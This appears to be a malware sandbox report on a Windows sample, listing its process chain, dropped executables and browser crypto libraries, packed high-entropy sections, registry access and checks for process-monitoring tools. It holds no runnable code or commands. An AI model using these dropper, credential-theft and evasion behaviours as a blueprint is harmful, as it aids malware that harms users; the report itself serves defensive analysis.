Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6856 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIJEGDBGDBF.exe "C:\Users\user\DocumentsIJEGDBGDBF.exe"
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe "C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Section loaded: winrnr.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1785344 > 1048576

Source: file.exe

Static PE information: Raw size of rdtlmipf is bigger than: 0x100000 < 0x19a000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2820674860.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2820674860.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.9b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rdtlmipf:EW;aelxuhkz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rdtlmipf:EW;aelxuhkz:EW;.taggant:EW;
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Unpacked PE file: 22.2.DocumentsIJEGDBGDBF.exe.350000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fydbnmjr:EW;ftxffxns:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fydbnmjr:EW;ftxffxns:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.840000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fydbnmjr:EW;ftxffxns:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fydbnmjr:EW;ftxffxns:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.840000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fydbnmjr:EW;ftxffxns:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fydbnmjr:EW;ftxffxns:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Unpacked PE file: 27.2.f3f60a7f50.exe.330000.0.unpack :EW;.rsrc :W;.idata :W; :EW;dpzksbhx:EW;lepvnhme:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;dpzksbhx:EW;lepvnhme:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C953480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C953480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: f3f60a7f50.exe.25.dr	Static PE information: real checksum: 0x439333 should be: 0x439400
Source: d6d730409e.exe.25.dr	Static PE information: real checksum: 0x1de37f should be: 0xe5da
Source: random[1].exe.25.dr	Static PE information: real checksum: 0x439333 should be: 0x439400
Source: file.exe	Static PE information: real checksum: 0x1bd2c1 should be: 0x1b669e
Source: DocumentsIJEGDBGDBF.exe.0.dr	Static PE information: real checksum: 0x1d5a1d should be: 0x1d0c89
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d5a1d should be: 0x1d0c89
Source: random[1].exe0.25.dr	Static PE information: real checksum: 0x1de37f should be: 0xe5da
Source: skotes.exe.22.dr	Static PE information: real checksum: 0x1d5a1d should be: 0x1d0c89

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: rdtlmipf
Source: file.exe	Static PE information: section name: aelxuhkz
Source: file.exe	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: fydbnmjr
Source: random[1].exe.0.dr	Static PE information: section name: ftxffxns
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsIJEGDBGDBF.exe.0.dr	Static PE information: section name:
Source: DocumentsIJEGDBGDBF.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIJEGDBGDBF.exe.0.dr	Static PE information: section name:
Source: DocumentsIJEGDBGDBF.exe.0.dr	Static PE information: section name: fydbnmjr
Source: DocumentsIJEGDBGDBF.exe.0.dr	Static PE information: section name: ftxffxns
Source: DocumentsIJEGDBGDBF.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: fydbnmjr
Source: skotes.exe.22.dr	Static PE information: section name: ftxffxns
Source: skotes.exe.22.dr	Static PE information: section name: .taggant
Source: random[1].exe.25.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name: .rsrc
Source: random[1].exe.25.dr	Static PE information: section name: .idata
Source: random[1].exe.25.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name: dpzksbhx
Source: random[1].exe.25.dr	Static PE information: section name: lepvnhme
Source: random[1].exe.25.dr	Static PE information: section name: .taggant
Source: f3f60a7f50.exe.25.dr	Static PE information: section name:
Source: f3f60a7f50.exe.25.dr	Static PE information: section name: .rsrc
Source: f3f60a7f50.exe.25.dr	Static PE information: section name: .idata
Source: f3f60a7f50.exe.25.dr	Static PE information: section name:
Source: f3f60a7f50.exe.25.dr	Static PE information: section name: dpzksbhx
Source: f3f60a7f50.exe.25.dr	Static PE information: section name: lepvnhme
Source: f3f60a7f50.exe.25.dr	Static PE information: section name: .taggant
Source: random[1].exe0.25.dr	Static PE information: section name:
Source: random[1].exe0.25.dr	Static PE information: section name: .idata
Source: random[1].exe0.25.dr	Static PE information: section name:
Source: random[1].exe0.25.dr	Static PE information: section name: wgudgomd
Source: random[1].exe0.25.dr	Static PE information: section name: yuwjtwak
Source: random[1].exe0.25.dr	Static PE information: section name: .taggant
Source: d6d730409e.exe.25.dr	Static PE information: section name:
Source: d6d730409e.exe.25.dr	Static PE information: section name: .idata
Source: d6d730409e.exe.25.dr	Static PE information: section name:
Source: d6d730409e.exe.25.dr	Static PE information: section name: wgudgomd
Source: d6d730409e.exe.25.dr	Static PE information: section name: yuwjtwak
Source: d6d730409e.exe.25.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B536 push ecx; ret	0_2_6C98B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0085D91C push ecx; ret	25_2_0085D92F
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Code function: 27_2_006B7EE0 push dword ptr [eax+04h]; ret	27_2_006B7F0F

Source: file.exe	Static PE information: section name: rdtlmipf entropy: 7.952601384719969
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.980896225861144
Source: random[1].exe.0.dr	Static PE information: section name: fydbnmjr entropy: 7.953930149174039
Source: DocumentsIJEGDBGDBF.exe.0.dr	Static PE information: section name: entropy: 7.980896225861144
Source: DocumentsIJEGDBGDBF.exe.0.dr	Static PE information: section name: fydbnmjr entropy: 7.953930149174039
Source: skotes.exe.22.dr	Static PE information: section name: entropy: 7.980896225861144
Source: skotes.exe.22.dr	Static PE information: section name: fydbnmjr entropy: 7.953930149174039
Source: random[1].exe.25.dr	Static PE information: section name: dpzksbhx entropy: 7.955006134653599
Source: f3f60a7f50.exe.25.dr	Static PE information: section name: dpzksbhx entropy: 7.955006134653599
Source: random[1].exe0.25.dr	Static PE information: section name: entropy: 7.973964401021785
Source: d6d730409e.exe.25.dr	Static PE information: section name: entropy: 7.973964401021785

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIJEGDBGDBF.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008203001\d6d730409e.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsIJEGDBGDBF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIJEGDBGDBF.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIJEGDBGDBF.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
